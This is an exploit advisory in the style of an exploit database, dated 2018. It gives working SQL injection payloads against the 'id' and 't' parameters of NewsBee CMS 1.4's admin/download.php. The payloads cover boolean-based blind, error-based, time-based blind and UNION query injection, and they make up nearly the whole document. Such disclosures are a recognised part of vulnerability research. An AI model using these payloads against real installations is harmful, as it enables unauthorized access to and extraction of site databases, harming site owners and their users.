NewsBee CMS 1.4 download.php SQL Injection

`# Exploit Title: NewsBee CMS 1.4 - 'download.php' SQL Injection  
# Dork: N/A  
# Date: 2018-05-22  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937  
# Version: 1.4 / fourth update  
# Category: Webapps  
# Tested on: Kali linux  
  
# PoC: SQLi:  
# Parameter: id  
# Type: boolean-based blind  
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery  
# Payload:   
  
id=578' AND 2043=2043 AND 'KzTm'='KzTm&t=gallery  
  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
# Payload:   
  
id=578' AND (SELECT 7126 FROM(SELECT  
COUNT(*),CONCAT(0x7162787871,(SELECT  
(ELT(7126=7126,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'hOBA'='hOBA&t=gallery  
  
# Type: AND/OR time-based blind  
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery  
# Payload:   
  
id=578' AND SLEEP(5) AND 'KlSV'='KlSV&t=gallery  
  
# Type: UNION query  
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery  
# Payload:   
  
id=-1714' UNION ALL SELECT  
NULL,NULL,CONCAT(0x7162787871,0x51487655536a566c616e5156496a6a56426267495670596f644f466f554753504469636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--  
WSZd&t=gallery  
  
# PoC: SQLi:  
# Parameter: t  
# Type: boolean-based blind  
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery  
# Payload:   
  
id=578&t=gallery` WHERE 7854=7854 AND 1059=1059#  
  
# Type: error-based  
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery  
# Payload:   
  
id=578&t=gallery` WHERE 8962=8962 AND (SELECT 1892 FROM(SELECT  
COUNT(*),CONCAT(0x7162787871,(SELECT  
(ELT(1892=1892,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- eLUC  
  
# Type: AND/OR time-based blind  
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery  
# Payload:   
  
id=578&t=gallery` WHERE 5549=5549 AND SLEEP(5)-- RUaY  
  
  
`